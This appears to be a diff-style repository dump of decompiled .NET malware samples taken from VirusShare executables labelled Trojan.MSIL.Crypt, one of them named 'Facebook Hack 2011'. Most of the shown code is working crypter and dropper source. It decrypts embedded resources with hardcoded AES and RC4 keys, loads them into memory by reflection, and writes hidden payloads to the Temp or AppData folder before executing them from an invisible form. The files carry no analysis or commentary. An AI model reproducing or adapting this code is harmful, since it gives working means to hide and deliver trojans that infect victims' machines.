<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="ulzKs.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Facebook Hack 2011", "Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.csproj", "{57763855-1C6B-40CA-A47C-C2B1905EE0CF}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{57763855-1C6B-40CA-A47C-C2B1905EE0CF}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ZBJWxRwVmymkewtQzL
|
||||
// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using My;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class ZBJWxRwVmymkewtQzL
|
||||
{
|
||||
private static int ByteCount = 0;
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
ZBJWxRwVmymkewtQzL.ftyu();
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static void ftyu() => ZBJWxRwVmymkewtQzL.pol();
|
||||
|
||||
public static void pol()
|
||||
{
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\ybGE.exe";
|
||||
ResourceManager resourceManager = new ResourceManager("ulzKs", Assembly.GetExecutingAssembly());
|
||||
string name = resourceManager.GetString("eNNBm");
|
||||
string eKTTSXIBImzyPSVNlB = "TtDPrLpOgGgrlEm";
|
||||
string GekgsvKfhqBvYoHbuo = resourceManager.GetString("KtEKGSixFHQniMOu");
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(resourceManager.GetString("BUcRxssrwh"), "ufvzCtTv"));
|
||||
Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(resourceManager.GetString("vcGVC"), "IbjZ"));
|
||||
byte[] bytes2 = Encoding.Default.GetBytes(ZBJWxRwVmymkewtQzL.GsfHdpElDosSHExQNk(GekgsvKfhqBvYoHbuo, eKTTSXIBImzyPSVNlB));
|
||||
RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("OLFX")).Invoke((object) null, new object[6]
|
||||
{
|
||||
(object) bytes2,
|
||||
(object) true,
|
||||
(object) location,
|
||||
(object) true,
|
||||
(object) false,
|
||||
(object) false
|
||||
})));
|
||||
}
|
||||
|
||||
public static string GsfHdpElDosSHExQNk(string GekgsvKfhqBvYoHbuo, string eKTTSXIBImzyPSVNlB)
|
||||
{
|
||||
string s1 = "jhsethsdutubgt";
|
||||
string s2 = "a48uyrhf094hy2dm";
|
||||
int iterations = 2;
|
||||
string strHashName = "SHA1";
|
||||
int num = 256;
|
||||
try
|
||||
{
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(GekgsvKfhqBvYoHbuo);
|
||||
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
|
||||
byte[] bytes3 = Encoding.ASCII.GetBytes(s1);
|
||||
byte[] buffer = bytes1;
|
||||
byte[] bytes4 = new PasswordDeriveBytes(eKTTSXIBImzyPSVNlB, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0))));
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
rijndaelManaged.Mode = CipherMode.CBC;
|
||||
byte[] numArray = new byte[checked (buffer.Length + 1)];
|
||||
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2))
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(buffer))
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
|
||||
{
|
||||
ZBJWxRwVmymkewtQzL.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length);
|
||||
memoryStream.Close();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
rijndaelManaged.Clear();
|
||||
return Encoding.Default.GetString(numArray);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
}
|
||||
+3127
File diff suppressed because it is too large
Load Diff
+10
@@ -0,0 +1,10 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © WgbFUn 2011")]
|
||||
[assembly: AssemblyDescription("JVjRiUYy")]
|
||||
[assembly: AssemblyTitle("ofsEmlZLm")]
|
||||
[assembly: AssemblyTrademark("HaVKpyzx")]
|
||||
[assembly: AssemblyCompany("mkewtQm")]
|
||||
[assembly: AssemblyProduct("LQNYbqMN")]
|
||||
[assembly: AssemblyFileVersion("4.1.10.1")]
|
||||
[assembly: AssemblyVersion("7.3.10.10")]
|
||||
+1414
File diff suppressed because it is too large
Load Diff
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: QFZQHUfONBmOkwLsKw
|
||||
// Assembly: Server1, Version=7.3.10.10, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FF4F77ED-B71E-4021-9596-EAE9AD26E12E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using My;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class QFZQHUfONBmOkwLsKw
|
||||
{
|
||||
private static int ByteCount = 0;
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
QFZQHUfONBmOkwLsKw.ftyu();
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static void ftyu() => QFZQHUfONBmOkwLsKw.pol();
|
||||
|
||||
public static void pol()
|
||||
{
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\EwEi.exe";
|
||||
ResourceManager resourceManager = new ResourceManager("LOFet", Assembly.GetExecutingAssembly());
|
||||
string name = resourceManager.GetString("KZRCj");
|
||||
string rBYTwyfzFNDiqrpuSZ = "FtOFvJTCCppQZlO";
|
||||
string aNRqRcWolIeDuqDTiE = resourceManager.GetString("hNkDPDztMKgQagco");
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(resourceManager.GetString("GGcdmKrVkR"), "rXggfkVO"));
|
||||
Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(resourceManager.GetString("Gejgr"), "uKfg"));
|
||||
byte[] bytes2 = Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(aNRqRcWolIeDuqDTiE, rBYTwyfzFNDiqrpuSZ));
|
||||
RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("UuRQ")).Invoke((object) null, new object[6]
|
||||
{
|
||||
(object) bytes2,
|
||||
(object) true,
|
||||
(object) location,
|
||||
(object) true,
|
||||
(object) false,
|
||||
(object) false
|
||||
})));
|
||||
}
|
||||
|
||||
public static string BlTVqTXlvQeREeBzcJ(string aNRqRcWolIeDuqDTiE, string rBYTwyfzFNDiqrpuSZ)
|
||||
{
|
||||
string s1 = "jhsethsdutubgt";
|
||||
string s2 = "a48uyrhf094hy2dm";
|
||||
int iterations = 2;
|
||||
string strHashName = "SHA1";
|
||||
int num = 256;
|
||||
try
|
||||
{
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(aNRqRcWolIeDuqDTiE);
|
||||
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
|
||||
byte[] bytes3 = Encoding.ASCII.GetBytes(s1);
|
||||
byte[] buffer = bytes1;
|
||||
byte[] bytes4 = new PasswordDeriveBytes(rBYTwyfzFNDiqrpuSZ, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0))));
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
rijndaelManaged.Mode = CipherMode.CBC;
|
||||
byte[] numArray = new byte[checked (buffer.Length + 1)];
|
||||
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2))
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(buffer))
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
|
||||
{
|
||||
QFZQHUfONBmOkwLsKw.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length);
|
||||
memoryStream.Close();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
rijndaelManaged.Clear();
|
||||
return Encoding.Default.GetString(numArray);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{C23054F4-FD93-4165-B23B-CBEBCA055BD9}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Server1</AssemblyName>
|
||||
<ApplicationVersion>7.3.10.10</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="QFZQHUfONBmOkwLsKw.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="LOFet.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server1", "Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.csproj", "{C23054F4-FD93-4165-B23B-CBEBCA055BD9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © Local 2009")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Inc. Product")]
|
||||
[assembly: AssemblyTitle("Windows Corporation")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("e473885e-5d61-4871-96de-a4048dd75bb3")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+168
@@ -0,0 +1,168 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.Form1
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using WindowsApplication2.My;
|
||||
|
||||
namespace WindowsApplication2
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private const string Splitter = "@#sp@##@s@lit#mixed";
|
||||
private const string enckey = "Yod2ff86sd84f8r84bj84d3fgh68sdh6";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(10, 10);
|
||||
this.ControlBox = false;
|
||||
this.Enabled = false;
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.Opacity = 0.0;
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.WindowState = FormWindowState.Minimized;
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
|
||||
FileSystem.FileGet(1, ref Expression);
|
||||
FileSystem.FileClose(1);
|
||||
string[] strArray1 = Strings.Split(Expression, "@#sp@##@s@lit#mixed");
|
||||
int num1 = checked ((int) Math.Round(Conversion.Val(Form1.rc4(strArray1[1], "Yod2ff86sd84f8r84bj84d3fgh68sdh6"))));
|
||||
string Left = strArray1[2];
|
||||
string str1;
|
||||
if (Operators.CompareString(Left, Form1.rc4("SYSTEM", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0)
|
||||
str1 = Environment.SystemDirectory + "\\";
|
||||
else if (Operators.CompareString(Left, Form1.rc4("TEMP", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0)
|
||||
str1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\";
|
||||
else if (Operators.CompareString(Left, Form1.rc4("APPDATA", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0)
|
||||
str1 = Environment.GetEnvironmentVariable("APPDATA") + "\\";
|
||||
int num2 = checked (num1 + 2);
|
||||
int FileNumber = 3;
|
||||
while (FileNumber <= num2)
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] strArray2 = Strings.Split(strArray1[FileNumber], "#EXT#@is@here##");
|
||||
string str2 = str1 + this.Number(10000, 99999) + Form1.rc4(strArray2[1], "Yod2ff86sd84f8r84bj84d3fgh68sdh6");
|
||||
FileSystem.FileOpen(FileNumber, str2, OpenMode.Binary, OpenAccess.ReadWrite);
|
||||
FileSystem.FilePut(FileNumber, Form1.rc4(strArray2[0], "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), -1L, false);
|
||||
FileSystem.FileClose(FileNumber);
|
||||
Process.Start(str2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
checked { ++FileNumber; }
|
||||
}
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static string rc4(string message, string password)
|
||||
{
|
||||
int[] numArray1 = new int[257];
|
||||
int location1 = 0;
|
||||
int[] numArray2 = new int[257];
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
int length = password.Length;
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = location1;
|
||||
numArray1[location1] = Strings.Asc(String);
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
int index = checked (0 + numArray2[location2] + numArray1[location2]) % 256;
|
||||
int num = numArray2[location2];
|
||||
numArray2[index] = num;
|
||||
numArray2[location2] = numArray2[index];
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
int location3 = 1;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
while (location3 <= message.Length)
|
||||
{
|
||||
int index1 = checked (0 + 1) % 256;
|
||||
int index2 = checked (0 + numArray2[index1]) % 256;
|
||||
int num1 = 0;
|
||||
numArray2[index2] = num1;
|
||||
int num2 = numArray2[index1];
|
||||
numArray2[index1] = numArray2[index2];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ numArray2[checked (numArray2[index1] + numArray2[index2]) % 256];
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1));
|
||||
}
|
||||
string empty = string.Empty;
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
|
||||
private string GetBetween(
|
||||
ref string strSource,
|
||||
ref string strStart,
|
||||
ref string strEnd,
|
||||
ref int startPos = 0)
|
||||
{
|
||||
string between = string.Empty;
|
||||
int num1 = strSource.IndexOf(strStart, startPos);
|
||||
int length = strStart.Length;
|
||||
int num2 = strSource.IndexOf(strEnd, checked (num1 + length));
|
||||
if (num1 != -1 && num2 != -1)
|
||||
between = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length));
|
||||
return between;
|
||||
}
|
||||
|
||||
private string Number(int min, int max) => new Random().Next(min, max).ToString();
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
